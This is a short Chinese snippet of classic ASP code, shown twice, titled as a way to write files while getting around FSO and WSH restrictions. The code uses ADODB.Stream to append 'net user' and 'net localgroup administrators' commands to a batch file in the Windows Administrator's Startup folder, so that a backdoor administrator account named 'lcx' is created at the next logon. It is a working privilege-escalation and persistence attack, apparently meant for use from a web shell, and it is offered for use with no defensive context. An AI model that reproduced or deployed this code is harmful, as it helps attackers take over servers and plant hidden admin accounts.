跨越fso、wsh、 application写文件

　　<%

　　on error resume next

　　dim lcx

　　set lcx=server.CreateObject("Adodb.Stream")

　　lcx.Open

　　lcx.Type=2

　　lcx.CharSet="gb2312"

　　lcx.LoadFromFile "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\cook.bat"

　　lcx.Position=lcx.Size

　　lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"

　　lcx.SaveToFile "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\cook.bat",2

　　lcx.Close

　　set lcx=nothing

　　%> <%

　　on error resume next

　　dim lcx

　　set lcx=server.CreateObject("Adodb.Stream")

　　lcx.Open

　　lcx.Type=2

　　lcx.CharSet="gb2312"

　　lcx.LoadFromFile "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\cook.bat"

　　lcx.Position=lcx.Size

　　lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"

　　lcx.SaveToFile "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\cook.bat",2

　　lcx.Close

　　set lcx=nothing

　　%>